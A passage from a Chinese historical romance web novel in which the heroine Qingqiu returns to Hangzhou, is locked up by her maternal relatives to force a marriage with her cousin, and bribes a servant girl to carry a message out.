绿柳悬在半空的手倏然顿住,怅然道:“姑娘,我只是为着姑娘着想,难不成姑娘为了一个畜狸奴连命都不要了吗?” “姑娘晓得我跟了你十余年,我自然事事以姑娘为先,倘使再来一次,我仍会说这样的话,拦着姑娘不出船舱。” 绿柳说得坚决,她有她的顾虑。 “可我想要的,只是有选择,有自己的选择,而不是所有人都对我说‘是为我好’,连你都觉得不该为了瞳瞳搭上命,若是母亲在,定然也是这样吧。”清秋缓声道。 所有人打着为她好的名义,剥夺她一切,不给她留任何选择的地步,就连往日最贴心的女使也是如此。 清秋皮笑肉不笑,静静道:“绿柳,辛苦你了,我乏了,歇下吧。” 绿柳不再说,依言退下,云露弄好猫笼和绿柳一道离开。 清秋坐在窗边,看着逐渐平静地江面,她无法想象失去瞳瞳,那样的情绪,或许与当年师无涯的离开相差无几。 难过无助的情绪会不断地将她包裹,在那之后,是长久是窒息,像是陷进泥沼里无法求生的人,看着自己越陷越深,最终死去。 还好,还好,都过去了。清秋抚着胸口,长舒一口气。 —— 到杭州时已是九月底,杭州的秋天满城桂花飘香,客船稳稳停在渡口,这一路从汴河南下,几经辗转才到杭州渡口。 清秋提着猫笼,为防瞳瞳再走失,清秋一路将它放在眼前。 人潮涌动时,清秋恍然一抬眼,恰好有人从她身边擦肩而过,那人着墨袍束红缨,他步伐极快,一晃眼就消失得无影无踪。 他虽走得快,可他腰间所佩戴的两道红绳却格外扎眼,只一眼便让人记住。 这日秋高气爽,天晴云淡,渡口过客众多,熙熙攘攘地聚在一起,已有九年再未回过杭州,汴京和杭州相差很大。 清秋记得初入汴京时,因水土不服,彻夜难眠,吃进去的东西全都吐了出来,韦氏守在她身边,等她睡下才离开。 可她睡不着,待到韦氏走后,又偷偷躲在菱花窗下哭。 汴京的宅子比杭州的大,她住的房间是韦氏精挑细选的,里头的陈设物件也都是韦氏一手操办,她就蹲在菱花窗和书案中间。 那时是师无涯躲在窗外,往里头扔了一块糖糕,他低声说:“别哭饿了。” “有什么好哭的,在哪儿不是家,你父母健在,兄姊在此,再哭你大姐姐又要挨骂了。”彼时的师无涯十岁,而她七岁。 月光皎洁,清秋凭借零星的银光,看着地上油纸包着的一块糖糕,糖糕蜜糖味溢出来,光是闻着就已经馋得流口水。 清秋捡起糖糕,狼吞虎咽地吃下去,“无涯哥哥,你吃了吗?” 师无涯靠在菱花窗一边,余光瞥进窗内,沉声道:“我不爱吃糖糕,喜欢吃吗?” “喜欢,和杭州的一样好吃。”她仰头看向他飘逸的墨发,在素月银辉当中,那抹身影格外冷,离她又格外的近。 —— 杭州旧宅位于盛民巷巷尾,这条巷子的左侧有条潺潺不断的溪水,再往前走又有水桥,离西湖不过几里路。 云露是头一遭来杭州,煞是新奇,在宅子里来来回回地逛,相较于汴京的亭台楼阁,翘角飞檐,杭州的一切都婉约清灵,青山绿水,白墙黑瓦,山水意趣跃然涌现。 绿柳凭着记忆寻到旧时所住的地方,元智陪在清秋身边逗弄瞳瞳,待到云露看够了,绿柳便来催她去收拾,她们已有七年未回杭州,许多物件都已积灰不能再用。 清秋此次回杭州虽有几分冲动,可她心中确实装着一件事。 绿柳收拾好卧房,来请清秋进屋,清秋颔首,带着瞳瞳去西院,入院时一棵枝叶繁茂的青梅树,似有遮天蔽日之意,这比她在汴京里养的那棵青梅树有生气。 庭前青梅如故,不见当年故人。 往后师无涯不会再出现在这棵青梅树前,她也不再像从前那般时时追着他,杭州承载着她生根发芽的一切。 只有在这里,清秋才觉真正松了口气。 元智瞠目结舌,打量着这棵青梅树,惊叹道:“付娘子,这树生长得这么好。” 清秋俯身打开猫笼,揉着瞳瞳的脑袋,瞳瞳扭头蹭着清秋的手心,它对这个陌生的地方似乎并不害怕。 秋月素冷,秋风卷叶,清秋坐在廊下抱着瞳瞳。 云露绿柳寻思着要不要寻一个老妈妈来照看伙食,但转念一想,又待不了多久,只去酒楼吃两顿对付对付。 元智在青梅树下禅定,不多时,夜已深,清秋遣她们各自回屋。 待到人都走后,清秋正欲进屋更衣睡下,却听瞳瞳张牙舞爪地冲青梅树嗷嗷叫起来,清秋凝神望过去什么都没有。 清秋温声细语地安抚着它,恐它受惊乱跑,进屋将瞳瞳关进猫笼。 门外急风骤起,青梅树枝叶簌簌作响,烛光和月光相互映衬下,那些枝桠像是招摇的怪物。 银辉满地,绿叶铺了一地。 清秋心觉不对,紧蹙着眉,看向那棵粗壮的青梅树,因有风的缘故,似有什么在风中猎猎作响,虽有枝叶摩挲声做掩饰,但却藏不住这怪异的声响。 这声越听越怪,清秋踌躇着往青梅树去,檐下灯笼被吹得飘飘然,烛光扑朔,好在皎月高照,可观眼前情形。 临到青梅树前,风还在刮,秋风凌冽,在夜里更是添几分寒凉。 清秋身心一颤,这才看清是什么在响。 是架在树上的秋千,七八年的风吹日晒,仍旧在此悬挂着,木板斑驳不堪,绳索已经被磨得抽丝。 清秋微怔,眸光停留在秋千的麻绳上,不知为何,她走上前去摸了摸麻绳。 当真是不同。 杭州老宅,一切如旧,清秋被风吹得瑟缩,瞬时醒过神,但那声响却并非秋千所发出,这会冷得厉害,清秋无心再纠结,转身进屋。 待清秋关上门,弯月西去,勾出一道挺拔长影,师无涯出青梅树后走出,目光深深地望着紧闭的那扇门。 方才他借着青梅树的树干藏了起来,却险些被发现。 月夜下,师无涯倚着青梅树,静静地凝视破败的秋千,其实修一修还能和以前一样,他还记得为清秋打秋千时,爬到树上摔了好几次。 他漆黑的眼瞳,仿佛沉入水中,陷进旧时回忆。 “郎骑竹马来,绕床弄青梅,同居长干里,两小无嫌猜” 师无涯紧闭双眸,心知清秋和他,从来不是‘两小无嫌猜’。 她要定亲了。 思及此,师无涯长眉一横,仿佛每一口气都是一把钝刀子,在磨蚀着他的肺腑,这种钝痛的感觉,如同他在军营里,被一平安符磨得催心折肝。 清秋的一举一动,一言一行,像是他身体的骨肉筋脉,离了她竟是那般的痛苦。 翌日清晨,清秋早早起来净面,换了身月白素裙,只以一木簪束发,她曾跟师无涯去山中祭拜师远。 师无涯的父亲,清秋对他的印象近乎于无,但师远与付彰交好,听上去是一位慈爱仁善的伯父,可惜她未能记下他。 往日付彰会带着一家人前往山中祭拜,后来进京赴任,清秋再未来过,师家亲缘浅薄,除付家外似乎再无人前去祭拜。 杭州城外的山稀稀疏疏,师远的墓在半山腰,与萧稜合葬在一起,清秋不曾见过师无涯的母亲,甚至很少听人提起。 因而她对萧稜,比师远还要陌生。 从记事起,清秋就知道自己有个未婚夫,得知那人将要与她同吃同住,心底格外欢喜,直到她三岁时见到师无涯。 她只觉得这个哥哥真好看。 那时,她不晓得这是她的未婚夫,亦不知何为未婚夫,她愣愣地盯着他,一双明亮清透的眼瞳十分好奇。 后来,清秋再大一些的时候,她听家里女使说,那是他的未婚夫,日后会同他有个家。于是她缠上了师无涯,对他有了强烈的占有欲。 起初的那两年,师无涯对这个妹妹或是未婚妻十分冷漠,很少主动与她说话,但其实,师无涯对任何人都一样。 清秋自小明媚大方,加之年岁小,藏不住事,将自己的喜欢与不喜欢都付之行动,只她想,她就一直赖着他, 直至清秋五岁,她撞破师无涯躲在小灶房的灶下割腕。师无涯凶神恶煞要她滚开,清秋却急得哭起来,嗷嗷大叫。 “你要死,带我一起死好了。阿姐说,我们以后会有个家,没有你,就没有家了,你要下地狱,我也要去,我要我的家。” 她哭天抢地地喊着,师无涯扯破袖子塞进她的嘴里,清秋眼眸莹润,瞟了一眼师无涯的手,意图再哭,师无涯紧着眉,又扯了一块裹上手腕。 “你别死,我可以死。”师无涯眸光逐渐温和,竟破天荒地对她笑了。 清秋见他笑,她也不哭了,她站起来轻拍师无涯的头,哽咽着说:“你是我的未婚夫,我和爹爹说了,我此生非你不嫁!” 青梅竹马,两小无猜。 多好的一段佳话,那时十五岁的她是这么想的,只可惜,等闲却道故人心易变。 —— 清秋临至师远墓前,正欲燃上香烛时,却恍然发觉,墓前的贡品是新的,在她之前有人来过了,清秋环顾四下,却未见着有人。 有人祭拜是好事,清秋不再多想,郑重地叩拜。 师远是她的伯父,亦是父亲的故交,她于情于理都该来祭拜,当然也藏有一点私心,清秋曾经将师远当作自己的公爹,早已将其等同于父亲。 只是如今大有不同,此次恐怕是她最后一次来祭拜,付彰有意卖掉杭州旧宅,就意味着付家不会再回杭州。 清秋祭拜完后回宅已是巳时,才刚进门,云露便迎了上来。 “姑娘,方才有人来请姑娘去韦宅,说是夫人的娘家,我不知真假,绿柳姐姐又不在我只好让其等着,姑娘快去瞧瞧。”云露领着清秋往正屋去。 艳阳高照,宅中细密的灰尘尚在漂浮,清秋远远地打量着那人。 她外祖母与她母亲秉性不合,清秋并未见过几面,若叫她来辨,倒不一定能认出来。 正屋端坐的妇人,见有人款款而来,喜得眉开眼笑,忙站起身去迎她。 “唉哟哟,这就是清秋吧?瞧着这么大了,出落得越发水灵了,到底是金玉养人呢,我是你大舅母,你不认得我了?”刘氏攥着她的手,亲热地同她说话。 清秋微微蹙眉,想瞥开她的手,却又挣不开。 眼前这人,着栗色长褙子,梳着光洁的发髻,攒金戴玉,一眼瞧上去实在气派。 清秋是记得的,是他的大舅的妻子,刘氏,也是商贾人家。 “大舅母,先坐下吧,”清秋不动声色地转身,这才挣开她的手,朝云露道,“云露,上茶。” 刘氏欢欢喜喜地坐下,朗声大笑,“你啊,当真是气派,有几分官家小姐的模样了,我见了真真是欢喜。有你这么个侄女,我也跟着沾光。” 清秋颔首笑着,不言语。 刘氏眼珠一转,环顾四下,悄声问:“只你一人回了杭州?你母亲呢?你哥哥们呢?” “只我一人回来了,不多时便要回汴京了。”清秋如实说。 刘氏眼中闪过一丝狡黠,随后大笑一声,起身拉着清秋,亲切道:“你多留些时候,母亲惦记着你们呢,一去汴京好似忘了我们这一家人,况如今江上有水寇你可晓得?前阵子,江上死了好些人,听说朝廷派了人来,我确实没瞧见什么人来,清秋你就住到咱家去,也叫外祖母高兴高兴。” 刘氏紧握着她的手,目光极为热切,清秋想要回拒的话说不出口,她此行回杭州本也有意去拜访外祖母。 只是碍于一些旧事,她心有不安,只想着送礼问安便好,那曾想过住到外祖母家。 若是能将母亲和外祖母之间的那层隔膜撕开,是否能让母亲心里好受些,清秋如此想着便应了下来。 刘氏笑得开怀,又道:“晚些时候我命人来接你,你且收拾收拾,我去和母亲说你回来了,她必定高兴得合不拢嘴。” 清秋将她送至宅门前,“大舅母慢走。” 刘氏连连颔首,笑着转过身,只一转身,她那挂在脸上的笑便阴冷起来,染上几分快意。 “夫人,要她回去,老夫人不得气死?”刘氏身旁的老婆子,眉头紧锁,看不透刘氏在想什么。 刘氏冷笑,全然不复方才热切的模样。 “你懂什么,我自有别的用处,韦南风自个儿要低嫁,谁知道她命好,还真叫她押中了宝。”刘氏语气冰冷,道:“她就是有个宝,也该送回来一个,谁叫她不看好自家姑娘,瞧着这般水灵,里头还不是个糊涂的。” 刘氏笑得狡诈,晃着脑袋,道:“嫁与我儿,刚刚好。” 第33章 软禁 暮色四合, 霞光铺陈,青砖白瓦上立着几只喜鹊,隔壁宅子几棵柿子树被啄得七零八落。 清秋饶有兴致地看着, 一时兴起, 放手上瞳瞳去玩。 瞳瞳被关了好几日, 一朝得解脱,忙不迭地东跑西溜,清秋坐在廊下等云露绿柳收拾。 元智在树下逗猫, 望着清秋道:“瞳瞳真有灵性,从不乱跑, 饶是和它玩, 它也不抓人。付娘子真是好福气,我也想要聘一只。” 清秋挑眉,走至树下, “你去问尹姐姐聘,她保准只一壶酒就允了。” 说着说着, 清秋便坐至秋千上,秋千被云露打整过,木板上的灰尘悉数被擦干净, 清秋倚着秋千, 看指尖一缕光穿过。 元智摇摇头,嫌道:“才不要呢,贺夫人有了一坛子酒, 就要无数坛。” 戌时三刻,刘氏打发人来接她,绿柳瞧着刘氏满脸堆笑,极为不适, 总觉有些不对。 云露和元智也觉这刘氏太过热忱。 刘氏命身边老妈妈将云露等人安排在西厢房,绿柳本欲跟着清秋去见韦老太太,老妈妈却冷然呵斥。 “还是汴京来的姑娘?这点规矩都不懂,老夫人和自己孙女叙旧还需你们伺候?” 闻言,绿柳只得随她一道走,清秋示意她们放心去。 刘氏挽过清秋细嫩的双手,笑道:“母亲念着你,听闻你来,一众表兄妹都等着见你呢。” 清秋略微颔首,跟着她一道进了正房,檐下挂着灯笼,院里布局与旧宅所差无几,这还是她第一回进到外祖家。 “瞧瞧,汴京来的姑娘,清秋妹妹,来来认认人。”刘氏拉过她的手,撩开幕帘,室内灯烛明亮,一屋子里围坐许多姑娘和郎君。 坐在上首的韦老太太只懒懒地抬眼,她不言语,只几个年纪小的先出声,新奇地开口,“好俏的姐姐,不晓得姐姐说的什么话,是雅言还是吴语。” 簪花小姑娘一出声,她身侧的紫衣姑娘却哼了声,颇为不屑地瞅她一眼。 紫衣姑娘与她年纪相仿,清秋没印象,满屋子的人,她只对上首的外祖母较为熟悉,可外祖母似乎不待见她。 刘氏笑道:“你们这些小姑娘,没点端庄礼数,这是官家小姐。” 簪花姑娘眼睛亮盈盈,道:“姐姐,是哪个姐姐?我还从来没见过哩。” 清秋抿唇,望向韦老太太,恭顺道:“见过外祖母。” “青姐儿不懂事,将她待下去,见过了就下去吧。”刘氏撵他们下去,见韦蒲要走,刘氏忙瞪眼拦下他。 清秋一眼就瞧见他,一身湖色长袍,眉眼清秀,他躬身要走,却被刘氏拦下。 “去挨着母亲坐,快去。”刘氏推她一把,清秋踌躇上前,坐在韦老太太下首,离这位老太太近了,清秋才发觉,她对她无任何的关爱之意。 刘氏见罢,忙推着韦蒲坐到清秋对面,刘氏则就近坐在清秋身边。 “外祖母,母亲不得闲,回不了杭州,我此次回杭州是为母亲向外祖母问安,外祖母近来可好?”清秋低眉垂首,声音轻细。 韦蒲怯怯抬眼看她,不多时又慌忙垂下眼。 韦老太太淡声道:“亏她还念着我,日子一天天过,有什么好不好。” 她这话叫清秋难以继续,清秋另起话头,“外祖母瞧着比往日气色好了些。” 刘氏见韦老太太不搭话,忙唤了一声,“母亲。” 韦老太太这才拿正眼看她,清秋离她近,只这一眼就叫韦老太太看见韦南风的影子,那一双干净的眼底蕴着的清倔执拗,一脉相承。 “你倒像你母亲,眉眼像是一个模子里刻出来的。”韦老太太仍旧不冷不热地说着。 清秋知晓韦氏与韦老太太有隔阂,却不晓得是为何,就算当年都住在杭州,她也没来过几次韦宅。 刘氏接过话茬,道:“是了是了,清秋这孩子模样好,性情温顺,如今多大了?” 韦老太太半眯着眼,任由刘氏一通盘问。 “今年十七。”清秋只当刘氏是关心她,不作他想。 清秋想疏通母亲和外祖母的关节,可临了坐在外祖母跟前,她却一个字都说不出,像是呛了水的人儿。 如此一想,清秋心下惆怅,只得作罢,待过两日便离开,这两日留在韦宅就当是代母尽孝了。 “这是我儿,韦蒲,只比你大一岁,今年刚过解试。”刘氏指着韦蒲,笑得满面春风。 清秋与他对视一眼,随即颔首。 房内烛火飘摇,韦蒲耳尖飞红,韦老太太一眼瞧出孙子的异样,深吸口气,转头看向清秋。 “你既来了,就去见见你几个舅舅和姨母,旁的不说,你身边这位是你亲舅舅的息妇,你对面坐着的是你亲表兄,你多往来,于你是有好处的,别学你母亲,吃了亏到头来还怨我偏心。”韦老太太捧着茶,余光瞥见她乖顺的模样。 韦老太太眸光忽沉,又道:“你住东厢房吧,西厢房就留与你的女使住,离我近些,也好叫我亲热亲热。” 刘氏正欢喜着,想将亲事说下来,却听一阵悉悉索索的脚步声,几人往门前看去。 来人一袭殷粉衫裙,金银交错,晃得人看不清是何种首饰,仔细瞧去,她的眉眼煞是俏丽,又有几分风情,肖似她的母亲,只是韦氏从不这般骄矜。 见她来,韦老太太脸上皱褶的皮舒展开,朝她招手,满目慈爱,“絮儿过来坐。” 韦南絮颔首,快步走至韦老太太身边,韦南絮与她母亲一般大,可仍如少女般地依偎在韦老太太身边。 韦南絮瞧着清秋,蹙眉道:“你是姐姐的什么人?生得真像?只模样像,不知性情像不像,阿娘她是谁?” 清秋正欲开口,却听韦老太太笑盈盈地望着她说:“是你姐姐的小女儿。” 韦南絮轻“哦”一声,随后便为韦老太太斟茶倒水,仿若闺阁少女,可惜保养得再好,眼角细纹仍旧藏不住。 爱与不爱,当真只一眼便瞧得出来。 清秋不由得为母亲伤心,韦老太太对韦南絮的关怀,藏在她的眉眼间,而说及她母亲,却是格外的不耐。 韦南絮不动神色地打量着清秋,峨眉轻蹙,暗道韦南风命好,押中了宝。 可惜再好的命,也好折在这。 韦南絮眸光微不可察地颤了颤,她将先前刘氏问过的话又问了遍,道:“蒲哥儿不是尚未成亲,瞧着你二人年岁相仿,何不由阿娘牵个线。” 闻言,清秋登时冷下来,驳道:“姨母说笑了,我与表兄只见过一面,有什么姻缘要外祖母来牵。” 韦老太太睨她一眼,语气深深,“哼,什么官家小姐,长辈说话岂有你撒泼的道理,你有什么礼数,到家里来耍小姐威风,要做甚?难不成我老婆子还要跪下来给你行个礼?” 此话一出,清秋顿觉羞愧,绞紧手上绣帕。那里是她要耍什么威风,分明是外祖母在拿话训她和她母亲。 清秋只好认错,低声道:“外祖母,清秋并非此意,只是觉得姨母的话说得有失偏颇,我与表兄今日初见,何来的姻缘。” 韦老太太不接她的话,眸子一转,只柔柔地看向韦南絮。 韦南絮面上不显,使了个眼色给刘氏,刘氏会意,旋即笑道:“清秋,你此话不妥,你虽与表兄初见,却也是有缘分的,你瞧瞧你表兄,一表人才,俊逸非凡,你我又是知根知底的人,只管放心。” 语罢,刘氏握着她的手,满面堆笑,清秋只觉这笑诡异可怖,忍着胃里一阵翻江倒海,清秋为难笑笑。 韦老太太始终未发话,似是默许。 清秋柳眉深蹙,正欲开口反驳,却听韦老太太开口,道:“将表姑娘带下去歇歇。” “外祖母您这是作甚,孙女还未答应,为何不听我说。”清秋愤然起身,撕破这层恶心的伪装。 “清秋,你年纪小,这儿还没你说话的份,外祖母的话你都不听了?”韦南絮窃笑,命外头女使婆子进来架人。 刘氏见她满脸嫌弃,也不给她好脸色,冷声道:“你这姑娘,父母之命媒妁之言,外祖母替你做了亲事的主,你还有什么挑的,与你好声好气地说话似是听不懂,什么官家小姐,人人捧着你?嫁给蒲哥儿都是你高攀了。” 语毕,刘氏狠狠瞪她一眼,又面向韦老太太和韦南絮千恩万谢。 韦蒲垂首似有话要说,可刘氏余光一扫,叫他颤颤地缩了脖子。 进屋来的女使婆子皆是力气大的,三两下就钳住清秋,是她动弹不得,清秋眉目一凛,她虽力气弱,可气势上却不输半分。 清秋回头看坐在上首面目慈祥的外祖母,不由得冷哼一声,讽道:“果真是年老耳聋,一生都不清明,任由儿女拿捏。” 韦老太太横眉,抬手指着她,气得唇颤目圆,“你这小畜生,信口胡诌,跟你母亲一个样。” 刘氏催她们带她下去,随后笑吟吟地劝慰韦老太太。 韦南絮撒娇卖乖,将韦老太太哄得心花怒放,待出了正房,韦南絮松了口气,刘氏跟在她身边赔笑。 “多亏了妹妹,这事才有母亲做主,饶是将来南风晓得了定然不敢来怪母亲。”刘氏笑得谄媚,分明年长韦南絮,却甘愿如此自降身份。 韦南絮眸光闪过一丝快意,俏声道:“哼,嫁得好又如何,拢不住丈夫的心,生再多的孩子,还不是一样。” 刘氏心知当年的事,暗道韦南风气运好。 若当初韦老太太晓得付彰日后平步青云,做得天子近臣,这桩婚事哪里轮得到韦南风。 当真是可惜了韦南絮落得个寡妇的下场。 刘氏暗暗叹气。 “罢了,嫂嫂别跟着我了,把人看好吧,我瞧着她有几分机灵,鱼跑了可就再捉不回来了。”话落,韦南絮扬长而去。 韦蒲垂首站在刘氏身边,唇瓣几张几合,刘氏看他不争气,骂道:“给你寻个官家小姐当娘子还不好?磨磨蹭蹭,还不去你祖母身边多说些笑话,瞧着你是书呆了,幸而有你姑姑帮衬着,你以为媳妇这么好得?” 闻言,韦蒲转身回正屋去哄韦老太太。 另一头,两个女使押着清秋往东厢房去,领头的是跟在刘氏身边的老妈妈,似早料到有这回事,气定神闲地指着房间。 “姑娘就在房里呆上几日,待到合了八字写了婚书,就可以出来了。”李妈妈狭长的眼透着神气刻薄。 清秋冷笑,目光凌冽,“既然晓得我是官家小姐,你们还敢私自扣押,若我父亲哥哥晓得了,日后你们有好果子吃。” 话音甫落,老妈妈乐不可支,笑得前仰后合。 “管你什么千金小姐,姑娘莫不是忘了,这是韦家,是你的娘家,饶是日后付大人回来,也得规规矩矩地见过老太太。”老妈妈啐道,“也不瞧瞧当年是怎么发家的,还敢来拿老太太的错。” 清秋只觉此人刁横,再说下去也无用。 “我在汴京锦衣玉食,还请外祖母在吃食上用些心,拐了自己的外孙女配给自己的孙子,传出去也不怕丢人。”清秋平心静气地呛白。 老妈妈勾唇讥笑,“姑娘,入乡随俗,要想好吃好喝,不妨老老实实地给家里去个信,叫你爹娘送你几大船的嫁妆来。” 这是连嫁妆的主意的都打好了?清秋越发觉得这外祖母一家是蛇狼窝,难怪韦氏不许她与外祖母家来往。 若非她惦念着母亲与外祖母之间的隔阂,又何须受这一遭。 清秋眸光一沉,扬声朝那老妈妈问,“我的女使呢?还有我的狸奴呢?” 老妈妈不愿多留,“赶出去了,带到她几人回到京中恰好送来嫁妆。”语毕,老妈妈离开。 清秋环顾四周,房内已然打扫过,花窗已被封死,门上挂了铜锁,她是出不去的,如今只能等着绿柳云露几人去寻人来。 但在杭州,与付家亲近的人实在不多,可若真按那老妈妈所说赶回汴京恐怕得一个多月,到那时,怕是真要送来嫁妆了。 屋外柏树枝影横斜,银光照进昏暗的房间。 那老妈妈竟连一盏灯都未给她留,清秋摸索着房间的每个角落,她绝不能坐以待毙。 —— 明月高照,秋风乍起,付宅角门处几个女使推搡着三个人。 “快走,快走。”手提羊角灯的女使,毫不客气地撵人。 云露不服气,忙道:“我陪姑娘回来,我们走了谁来照顾姑娘?你们这是什么意思?” 元智扯了扯云露的袖子,悄声道:“我们是被赶出来了,我瞧着付娘子是不会出来了。” 绿柳见罢,柔声开口,“好姐姐,敢问是因何要将我们赶出来,我们都是姑娘的贴身女使,我自小服侍姑娘,可否行个方便?” 绿柳从袖里取出碎银子放到她手上,那女使见了银子,方才和缓几分,轻咳了声。 “老太太说了,要将表姑娘留下,亲上加亲。”话落,她头也不回地关上门。 什么叫做亲上加亲,元智愣愣问,“这是何意?” 绿柳微怔,暗道不妙。 云露急得快要哭出声,“这老太太是要姑娘嫁给谁?可姑娘与王郎君不是将要定亲了吗,绿柳姐姐,这可怎么办?” 元智疑道:“云露你在说什么?” 绿柳定了定神,道:“姑娘这是遭了刘氏的道,老太太打定主意要留下姑娘,故意支开你我。现如今,回汴京是来不及了,可一时半会又能去找谁。” 元智提着猫笼,瞳瞳忽地“喵”起来。 几人回了杭州旧宅,各自揣着心事,绿柳在犹豫回汴京与找官府,可这官府如何来管私事,况且韦老太太又是清秋的外祖母,当真闹大了,付家在汴京又该如何办,传出去又是一桩腌臜事。 云露则在院里急得哭起来,坐立不安,连连转了好几圈。 临了夜深时,绿柳也未想出什么好法子,元智眸子一转,道:“两位姐姐先莫急,付娘子聪慧,定会有法子,况此事非一日之功,定然有转圜的余地。” 话虽如此,可要如何才能救得出人到底还是想不出主意来。 —— 清秋被刘氏关了三日,每日除却送饭外,便没有人再靠近东厢房,其间清秋探问过送饭的女使婆子,谁知都是签了死契的,一个字不肯松。 她到杭州时是九月底,清秋算着应该到了十月初三。 按照刘氏的说法,她要合八字,她的八字韦老太太是晓得的,想来她们下一步便要假模假样地请媒人,写婚书。 可终归是不稳妥的,清秋暗道这其中定然有别的门路。 这日一面生的女使来送饭,清秋浅尝两口,望着院外看守松散的婆子,是打定她跑不掉,格外的闲散。 “这米糙得很。”清秋眸光哀怨,轻放下箸。 女使年岁小,不经事,只怕得罪了人,低声问:“夫人叮嘱过的,给姑娘的饭食都是顶好的。” 清秋叹道:“不及我在汴京的十分之一。” 女使心道她挑得很,又不敢直言,只说:“姑娘说笑了,这已经是宅子里最好的稻米了。” 清秋余光扫向门外的婆子,问道:“你今年多大?怎么是你来?” 女使不答,觑了眼门外,“姑娘不吃就罢了,我该走了。” 清秋柔柔一笑,纵她离开,宅子里的女使婆子的心计不比夫人们的少,清秋拿不准这女使是怎么回事,只先试她一试。 晚间用饭时,清秋期盼着午时的女使来,可这回来的却是刘氏。 她一跨进门便堆起笑脸,热切道:“清秋啊,你是吃不惯这杭州的东西了,蒲哥儿惦记着你,为你买了糖糕来。” 清秋神色淡淡,任刘氏来回打量试探。 “大舅母,这两天我亦是想明白了,表兄一表人才,又与外祖母亲近,当日我在气头上,那去想表兄的好处,只一心被外祖母气着了。”清秋挽上刘氏臂弯,羞赧一笑。 刘氏狡黠的眸子一转,拍拍她的手,笑道:“你早如此,何须叫我日日守着你,可这不是我的意思。” 清秋轻叹,道:“我自小身边就有贴心服侍的女使,大舅母既要看着我不妨许我一个贴心的,好叫我有个伴儿。” 刘氏自是不信清秋的话,可又念着她是个千金小姐,许她一个身边的人盯着她也不是不可,面上功夫还得抹开。 思及此,刘氏命老妈妈去挑个来,清秋凝眉嗔道:“我可不要那上了年纪的妈妈,与我无话说,还叫我看得烦闷。” 老妈妈听她挑剔,心头恨清秋摆架子,只气得磨牙,心道看她能得意几时。 刘氏拉着清秋说了会话,三言两语离不开韦蒲,清秋羞涩垂眸,似真有了小女儿家的心思,刘氏打量着看她有几分真假。 不多时,老妈妈带来一个年纪尚小的女使,恰是午间为她送饭的女使。 清秋轻慢地瞥了眼,轻藐道:“就这畏首畏尾的女使也送来?” 刘氏听她如此骄横,眸光一冷,“你日后是要做主母的,对下人就是这般态度如何笼络人心,那由得你耍横。” 闻言,清秋噤声,幽怨地盯向别处。 刘氏也不多留,带着老妈妈一道离开厢房,清秋倒也不急着拉拢她,静静地坐了会,方才开口说话。 “你唤什么?”清秋抿茶,漫不经心地问,目光却盯着院门口的婆子。 女使肃立一旁,只答话,“红香。” 清秋颔首,松开手掉下茶杯,朝她恶劣一笑,“呀,不小心掉了。” 红香虽低着头,却看清她是故意的,瓷碎声引得院前婆子进屋。 清秋挑眉俯视着红香,气道,“这些事都做不好,你有何用啊,没得让人头疼。” 两婆子笑着打圆场,“姑娘家家,哪知道什么,年纪轻,不知事,表姑娘勿怪,勿怪。” 红香咬着牙,看清秋高高在上地数落她。 月上枝头,清秋横卧在榻上,红香进来掐灯,清秋谨慎地望向院门口,只见空空的一片无人看守。 “白日里的事,我是故意的,你可晓得我是谁?”清秋目光和静地望向她。 红香一时惊愣,眼前这人,人前人后两副面孔。 “姑娘夫人的事,和我没关系,姑娘是谁我也不晓得。”红香如实说着。 清秋摘下腰间玉飞天,柔声道:“我只需你帮我传句话,向我的表兄,带一句话,这句话值百两银,不需你犯什么险,倘使你心中埋怨我,可去向舅母告状,我自不会记恨你,只是往后我是这宅中的主子有的是法子叫你生不如死。” 红香握紧手上油灯,视线落在那方玉佩。 清秋静等着她的抉择,不说有十成十的把握,却也有十之八九,只要传句话,这样好的差事,何乐而不为呢。 第34章 “师郎君,你救救姑娘吧。”…… 明月高悬, 恰似弯钩,院中寥寥秋风,吹得屋内烛火摇曳。 灯烛飘摇间, 清秋娇俏灵秀的面容若隐若现, 偏她眼眸纯净, 叫人心生怜爱,可她说话间的神态语气,拿足了气势, 哪里像是什么纯良的小姑娘。 红香自是没见过这场面,她年岁小, 是韦宅里的家生子, 见清秋气定神闲,红香心内挣扎,明晃晃的一块和田玉摆在她眼前。 韦家从商, 连带着红香多少有点见识,只一眼就瞧出那和田玉质地温润。 红香犹豫不决, 咬紧下唇,无声的对峙。 清秋懒懒打了个打哈欠,她不急着红香即刻答应, 此时红香的犹豫正和她意, 毕竟她的正头主子,就在这宅子里。 要万两金,还是要日日平安。 若当真要选, 清秋只会二者都要,这桩事又搭不上性命。 良久,红香垂下头,走至清秋身边的烛台, 悄声道:“姑娘莫要害我,我的身契可是夫人手上捏着的。” 清秋当然晓得,能到这儿来伺候的,必定是刘氏心腹。这样不光彩的事,叫外人听了去,怕不是要丢尽脸面。 “姑娘,要我带句什么话?”红香目光停在玉上。 清秋晾了她一会,半晌才应道:“我如何信你,我不过试你一试,你就帮我?赶明我就和大舅母说你这丫头卖主求荣。” 红香手一抖,蜡油泼到手心窝,她那知眼前活色生香的姑娘是个蛇蝎心肠。 “姑娘,我一时鬼迷心窍,绝无二心。”红香急得眼角挂泪,直央求道。 到底是年轻的姑娘,比那些妈妈好拿捏。 清秋黯然凝眉,长舒口气,缓声道:“我从小家中娇养,那曾吃过这些苦,我只求你替我带句话给表哥,这块玉权当赏你玩。” 红香压低声,诚惶诚恐,“姑娘到底要传什么话。” 夜已深,清秋在她耳边悄声低语,不多时,清秋摔杯砸盏,哭喊道:“灯油烫到我的手了,你们是如何做事的,我还是不是你们主子了。” 她吵得东厢一众婆子注目,凑得近的径直啐她气性大,又说她日后做了主母没有安生日子。 红香是哭着从东厢房跑出来的,有婆子上前去安慰,只被她甩开。 次日一早,红香被换了,来的又是个老婆子,清秋不经意打翻瓷碗,原是她的不对,却反过来将她说得一塌糊涂。 老婆子横眉怒目,才不管她是什么表姑娘,在刘氏根下自然是刘氏为大。 “凭你是什么官家小姐,瞧着是个泼妇无赖,连个老虔婆都不如呢,哼!”老婆子骂得脏,三言两语气哭了清秋。 清秋掩面啼哭,这两日东厢房闹得不成样子,没人愿意伺候千金小姐。 刘氏一时头疼,正烦清秋性子骄横,只刚要呷茶,就见韦蒲进屋请安。 “母亲瞧着面色不好?”韦蒲低眉观望刘氏。 韦蒲悄无声色地打量刘氏,见她眉头紧锁,又忙问:“母亲是在为表妹的事烦扰?” 说及清秋,刘氏重重搁下杯盏,眉梢犹如起火般吊起,“我当真是烦死她了,那家的小姐姑娘像她这个模样,不是瞧着他爹和哥哥有点脸面,谁看得上她那样的跋扈劲,我还以为她是什么好姑娘。” 语罢,刘氏胸口大颤,气得不轻。 